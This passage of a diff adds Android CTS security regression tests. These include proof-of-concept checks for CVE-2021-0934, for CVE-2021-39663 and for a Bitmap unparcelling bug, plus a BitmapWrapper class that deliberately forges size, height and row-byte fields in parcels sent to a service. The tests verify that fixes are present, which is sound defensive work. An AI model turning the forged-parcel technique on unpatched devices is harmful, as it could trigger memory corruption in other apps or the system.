attSourceStateField.setAccessible(true); + } catch (Exception e) { + Assume.assumeFalse(true); + } + + Object attSourceState = attSourceStateField.get(attributionSource); + attSourceState.getClass().getField("pid").setInt(attSourceState, 0); + final AttributionSource attributionSourceFinal = attributionSource; + Assert.assertThrows(SecurityException.class, + () -> attributionSourceFinal.enforceCallingPid()); + } +} diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java new file mode 100644 index 00000000000..c532e05e906 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BitmapService.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; + +import androidx.annotation.Nullable; + +public class BitmapService extends Service { + + private final IBitmapService.Stub mBinder = new IBitmapService.Stub() { + @Override + public int getAllocationSize(BitmapWrapper wrapper) { + return wrapper.getBitmap().getAllocationByteCount(); + } + + @Override + public boolean didReceiveBitmap(BitmapWrapper wrapper) { + return true; + } + + + @Override + public boolean ping() { + return true; + } + }; + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return mBinder; + } +} diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java index 40cb1398e97..5be9098612a 100644 --- a/tests/tests/security/src/android/security/cts/BitmapTest.java +++ b/tests/tests/security/src/android/security/cts/BitmapTest.java @@ -16,16 +16,88 @@ package android.security.cts; +import android.app.Instrumentation; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.ServiceConnection; import android.graphics.Bitmap; +import android.os.BadParcelableException; +import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.platform.app.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.google.common.util.concurrent.AbstractFuture; + +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + @RunWith(AndroidJUnit4.class) public class BitmapTest { + + private Instrumentation mInstrumentation; + private PeerConnection mRemoteConnection; + private IBitmapService mRemote; + + public static class PeerConnection extends AbstractFuture<IBitmapService> + implements ServiceConnection { + @Override + public void onServiceConnected(ComponentName name, IBinder service) { + set(IBitmapService.Stub.asInterface(service)); + } + + @Override + public void onServiceDisconnected(ComponentName name) { + } + + @Override + public IBitmapService get() throws InterruptedException, ExecutionException { + try { + return get(5, TimeUnit.SECONDS); + } catch (TimeoutException e) { + throw new RuntimeException(e); + } + } + } + + @Before + public void setUp() throws Exception { + mInstrumentation = InstrumentationRegistry.getInstrumentation(); + } + + @After + public void tearDown() { + if (mRemoteConnection != null) { + final Context context = mInstrumentation.getContext(); + context.unbindService(mRemoteConnection); + mRemote = null; + mRemoteConnection = null; + } + } + + IBitmapService getRemoteService() throws ExecutionException, InterruptedException { + if (mRemote == null) { + final Context context = mInstrumentation.getContext(); + Intent intent = new Intent(); + intent.setComponent(new ComponentName( + "android.security.cts", "android.security.cts.BitmapService")); + mRemoteConnection = new PeerConnection(); + context.bindService(intent, mRemoteConnection, + Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT); + mRemote = mRemoteConnection.get(); + } + return mRemote; + } + /** * Test Bitmap.createBitmap properly throws OOME on large inputs. * @@ -39,4 +111,102 @@ public class BitmapTest { // which might be passed to createBitmap from a Java decoder. Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888); } + + @Test + @AsbSecurityTest(cveBugId = 213169612) + public void test_inplace_213169612() throws Exception { + IBitmapService remote = getRemoteService(); + Assert.assertTrue("Binder should be alive", remote.ping()); + BitmapWrapper wrapper = new BitmapWrapper( + Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888)); + final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount(); + int allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 500KiB; larger than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 500 * 1024); + allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 2 bytes; smaller than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the blob size accurate, but change computed allocation size to be too large + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 10_000) + .replace(BitmapWrapper.Field.RowBytes, 50_000); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + } + + @Test + @AsbSecurityTest(cveBugId = 213169612) + public void test_ashmem_213169612() throws Exception { + IBitmapService remote = getRemoteService(); + Assert.assertTrue("Binder should be alive", remote.ping()); + BitmapWrapper wrapper = new BitmapWrapper( + Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888) + .createAshmemBitmap()); + final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount(); + int allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to be larger than the initial size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 2 bytes; smaller than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the ashmem size accurate, but change computed allocation size to be too large + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 10_000) + .replace(BitmapWrapper.Field.RowBytes, 50_000); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the ashmem size accurate, but change computed allocation size to be smaller + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 100); + allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + } } diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java new file mode 100644 index 00000000000..dbcf4989354 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java @@ -0,0 +1,125 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.graphics.Bitmap; +import android.os.Parcel; +import android.os.Parcelable; +import android.util.ArrayMap; + +import androidx.annotation.NonNull; + +import org.junit.Assert; + +public class BitmapWrapper implements Parcelable { + enum Field { + DataSize, + Height, + RowBytes, + } + + private final Bitmap mBitmap; + private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>(); + + public BitmapWrapper(Bitmap bitmap) { + mBitmap = bitmap; + } + + private BitmapWrapper(Parcel in) { + mBitmap = Bitmap.CREATOR.createFromParcel(in); + } + + public Bitmap getBitmap() { + return mBitmap; + } + + public BitmapWrapper reset() { + mReplaceFields.clear(); + return this; + } + + public BitmapWrapper replace(Field field, int newValue) { + mReplaceFields.put(field, newValue); + return this; + } + + @Override + public int describeContents() { + return mBitmap.describeContents(); + } + + @Override + public void writeToParcel(@NonNull Parcel dest, int flags) { + final int before = dest.dataPosition(); + mBitmap.writeToParcel(dest, flags); + final int oldEnd = dest.dataPosition(); + if (!mReplaceFields.isEmpty()) { + dest.setDataPosition(before + + 4 /* immutable */ + + 4 /* colortype */ + + 4 /* alpha type */); + // Skip sizeof colorspace + int colorSpaceLen = dest.readInt(); + dest.setDataPosition(dest.dataPosition() + colorSpaceLen); + Assert.assertEquals(mBitmap.getWidth(), dest.readInt()); + Assert.assertEquals(mBitmap.getHeight(), dest.readInt()); + if (mReplaceFields.containsKey(Field.Height)) { + dest.setDataPosition(dest.dataPosition() - 4); + dest.writeInt(mReplaceFields.get(Field.Height)); + } + Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt()); + if (mReplaceFields.containsKey(Field.RowBytes)) { + dest.setDataPosition(dest.dataPosition() - 4); + dest.writeInt(mReplaceFields.get(Field.RowBytes)); + } + Assert.assertEquals(mBitmap.getDensity(), dest.readInt()); + int type = dest.readInt(); + if (type == 0) { // in-place + if (mReplaceFields.containsKey(Field.DataSize)) { + int dataSize = mReplaceFields.get(Field.DataSize); + dest.writeInt(dataSize); + int newEnd = dest.dataPosition() + dataSize; + dest.setDataSize(newEnd); + dest.setDataPosition(newEnd); + } else { + int skip = dest.readInt(); + dest.setDataPosition(dest.dataPosition() + skip); + } + } else if (type == 1) { // ashmem + if (mReplaceFields.containsKey(Field.DataSize)) { + int dataSize = mReplaceFields.get(Field.DataSize); + dest.writeInt(dataSize); + } + dest.setDataPosition(oldEnd); + } else { + Assert.fail("Unknown type " + type); + } + } + } + + public static final Parcelable.Creator<BitmapWrapper> CREATOR = + new Parcelable.Creator<BitmapWrapper>() { + public BitmapWrapper createFromParcel(Parcel in) { + return new BitmapWrapper(in); + } + + public BitmapWrapper[] newArray(int size) { + return new BitmapWrapper[size]; + } + }; + +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java new file mode 100644 index 00000000000..ab4c71b8500 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; + +import android.accounts.Account; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class CVE_2021_0934 { + + @AppModeFull + @AsbSecurityTest(cveBugId = 169762606) + @Test + public void testPocCVE_2021_0934() { + try { + // Creating an account with arguments 'name' and 'type' whose + // lengths are greater than 200 + String name = new String(new char[300]).replace("\0", "n"); + String type = new String(new char[300]).replace("\0", "t"); + Account acc = new Account(name, type); + assumeNotNull(acc); + + // Shouldn't have reached here, unless fix is not present + fail("Vulnerable to b/169762606, allowing account name/type " + + "with character count 300 whereas limit is 200"); + } catch (Exception e) { + if (e instanceof IllegalArgumentException) { + // This is expected with fix + return; + } + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java new file mode 100644 index 00000000000..965deb031c3 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java @@ -0,0 +1,71 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static android.system.OsConstants.F_GETFL; +import static android.system.OsConstants.O_NOFOLLOW; +import static org.junit.Assert.assertEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; +import static org.junit.Assume.assumeTrue; + +import android.content.ContentResolver; +import android.content.ContentValues; +import android.content.Context; +import android.net.Uri; +import android.os.ParcelFileDescriptor; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import android.provider.MediaStore; +import android.system.ErrnoException; +import android.system.Os; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.FileDescriptor; +import java.io.IOException; + +@AppModeFull +@RunWith(AndroidJUnit4.class) +public class CVE_2021_39663 { + + @Test + @AsbSecurityTest(cveBugId = 200682135) + public void testPocCVE_2021_39663() { + Context context = InstrumentationRegistry.getInstrumentation().getContext(); + ContentResolver contentResolver = context.getContentResolver(); + try { + Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, + new ContentValues()); + ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw"); + assumeNotNull(pfd); + FileDescriptor fd = pfd.getFileDescriptor(); + int flags = Os.fcntlInt(fd, F_GETFL, 0); + pfd.close(); + contentResolver.delete(uri, null, null); + assumeTrue("Unable to read file status flags", flags > 0); + assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW, + flags & O_NOFOLLOW); + } catch (ErrnoException | IOException e) { + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index ddecbc824c2..b6c2737587b 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -22,6 +22,7 @@ */ package android.security.cts; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.app.Instrumentation; import android.content.Context; import android.content.res.AssetFileDescriptor; @@ -100,20 +101,14 @@ import static org.junit.Assert.*; */ @AppModeFull @RunWith(AndroidJUnit4.class) -public class StagefrightTest { +public class StagefrightTest extends StsExtraBusinessLogicTestCase { static final String TAG = "StagefrightTest"; - private Instrumentation mInstrumentation; private final long TIMEOUT_NS = 10000000000L; // 10 seconds. private final static long CHECK_INTERVAL = 50; @Rule public TestName name = new TestName(); - @Before - public void setup() { - mInstrumentation = InstrumentationRegistry.getInstrumentation(); - } - class CodecConfig { boolean isAudio; /* Video Parameters - valid only when isAudio is false */ @@ -3264,8 +3259,4 @@ public class StagefrightTest { assertFalse(hung); } - - private Instrumentation getInstrumentation() { - return mInstrumentation; - } } |